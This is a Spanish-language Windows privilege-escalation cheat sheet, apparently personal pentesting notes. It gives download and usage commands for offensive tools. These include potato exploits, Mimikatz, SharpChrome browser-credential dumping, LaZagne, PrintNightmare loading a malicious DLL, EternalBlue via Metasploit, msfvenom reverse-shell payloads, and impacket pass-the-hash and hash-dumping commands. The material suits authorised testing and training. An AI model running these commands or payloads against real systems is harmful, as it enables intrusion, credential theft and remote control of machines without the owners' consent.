b0ysie7e

Appearance

REFERENCIAS Y DESCARGAS - Windows Privilege Escalation ​

Herramientas de Enumeración ​

WinPEAS ​

powershell
wget https://github.com/carlospolop/PEASS-ng/releases/download/20240804-27c05ab0/winPEASx64.exe
iwr -uri "https://github.com/carlospolop/PEASS-ng/releases/download/20240804-27c05ab0/winPEASx64.exe" -OutFile winpeas.exe

PrivescCheck ​

powershell
iwr -uri "https://raw.githubusercontent.com/itm4n/PrivescCheck/master/PrivescCheck.ps1" -OutFile PrivescCheck.ps1

WES-NG (Windows Exploit Suggester - Next Generation) ​

bash
git clone https://github.com/bitsadmin/wesng.git
cd wesng
python3 wes.py --update
python3 wes.py sysinfo.txt

Metasploit Framework ​

bash
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100

Herramientas de Escalación - SeImpersonate ​

JuicyPotato ​

powershell
iwr -uri "https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe" -OutFile JuicyPotato.exe

SigmaPotato (Moderna, Recomendada) ​

powershell
wget https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.2.6/SigmaPotato.exe
iwr -uri "https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.2.6/SigmaPotato.exe" -OutFile SigmaPotato.exe

PrintSpoofer ​

powershell
iwr -uri "https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe" -OutFile PrintSpoofer.exe

RogueWinRM ​

powershell
wget https://github.com/antonioCoco/RogueWinRM/releases/latest

Herramientas de Post-Explotación ​

Mimikatz ​

bash
wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220519/mimikatz_trunk.zip
unzip mimikatz_trunk.zip
cd mimikatz/x64
./mimikatz.exe

SharpChrome ​

powershell
.\SharpChrome.exe logins /unprotect

PowerUp ​

powershell
iwr -uri "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1" -OutFile PowerUp.ps1
. .\PowerUp.ps1
Invoke-AllChecks

Invoke-SessionGopher ​

powershell
iwr -uri "https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1" -OutFile SessionGopher.ps1
Invoke-SessionGopher -Target localhost

LaZagne ​

bash
wget https://github.com/AlessandroZ/LaZagne/releases/latest

Seatbelt ​

powershell
.\Seatbelt.exe -group=all
```

---

## Exploits de Kernel

### PrintNightmare (CVE-2021-1675)
- **GitHub PoC:** https://github.com/calebstewart/CVE-2021-1675
- **PowerShell:** https://github.com/calebstewart/CVE-2021-1675/blob/main/Invoke-Nightmare.ps1

```powershell
iwr -uri "https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/main/Invoke-Nightmare.ps1" -OutFile Invoke-Nightmare.ps1
Invoke-Nightmare -DriverPath C:\malicioso.dll
```

### HiveNightmare (CVE-2021-36934)
- **PoC:** Acceder a `C:\System Volume Information\RegBack\`
- Usar `secretsdump` de impacket para extraer hashes

### CVE-2023-29360
- **GitHub:** Buscar en exploit-db
- **Exploit-DB:** https://www.exploit-db.com/search?q=CVE-2023-29360

```bash
searchsploit CVE-2023-29360
```

---

## Herramientas de Transferencia

### nc.exe (Netcat para Windows)
- **GitHub:** https://github.com/int0x33/nc.exe
- **Directo:** https://eternallybored.org/misc/netcat/

```powershell
iwr -uri "https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip" -OutFile nc.zip
```

### msfvenom (Generador de Payloads)
- **Incluido en:** Metasploit Framework
- **Instalación en Kali:** Preinstalado
- **Documentación:** https://docs.metasploit.com/

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o shell.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o shell.dll
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f msi -o shell.msi
```

### Impacket
- **GitHub:** https://github.com/fortra/impacket
- **Pip:** `pip install impacket`

```bash
python3 -m impacket.psexec -hashes LM:NTLM usuario@192.168.1.100
python3 -m impacket.secretsdump -sam sam.hive -system system.hive LOCAL
```

---

## Herramientas de Análisis

### Accesschk
- **Sysinternals:** https://download.sysinternals.com/files/AccessChk.zip
- **Directo:** https://live.sysinternals.com/accesschk64.exe

```powershell
iwr -uri "https://live.sysinternals.com/accesschk64.exe" -OutFile accesschk.exe
.\accesschk.exe -qlc servicio
```

### Process Explorer
- **Sysinternals:** https://download.sysinternals.com/files/ProcessExplorer.zip

```powershell
iwr -uri "https://live.sysinternals.com/procexp64.exe" -OutFile procexp.exe
```

### Process Hacker
- **GitHub:** https://github.com/processhacker/processhacker
- **Descargar:** https://processhacker.sourceforge.io/

```powershell
# Descarga manual desde sitio oficial
```

---

## Referencias Oficiales

### GTFOBins (para técnicas de escape)
- **Sitio:** https://gtfobins.github.io
- **GitHub:** https://github.com/GTFOBins/GTFOBins.github.io

### LOLBINS (Living Off The Land Binaries)
- **Sitio:** https://lolbas-project.github.io
- **GitHub:** https://github.com/LOLBAS-Project/LOLBAS

### Microsoft Docs
- **Privileges:** https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants
- **Services:** https://docs.microsoft.com/en-us/windows/win32/services/services

### Priv2Admin
- **GitHub:** https://github.com/gtworek/Priv2Admin
- **Exploración de privilegios peligrosos**

---

## Instalación Rápida en Kali

```bash
# Actualizar
sudo apt update && sudo apt upgrade -y

# Herramientas básicas
sudo apt install -y git wget curl python3 python3-pip

# Python packages
pip3 install impacket pycryptodome

# Clonar repositorios útiles
git clone https://github.com/carlospolop/PEASS-ng.git
git clone https://github.com/PowerShellMafia/PowerSploit.git
git clone https://github.com/gentilkiwi/mimikatz.git

# Descargar herramientas
wget https://github.com/carlospolop/PEASS-ng/releases/download/20240804-27c05ab0/winPEASx64.exe
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
```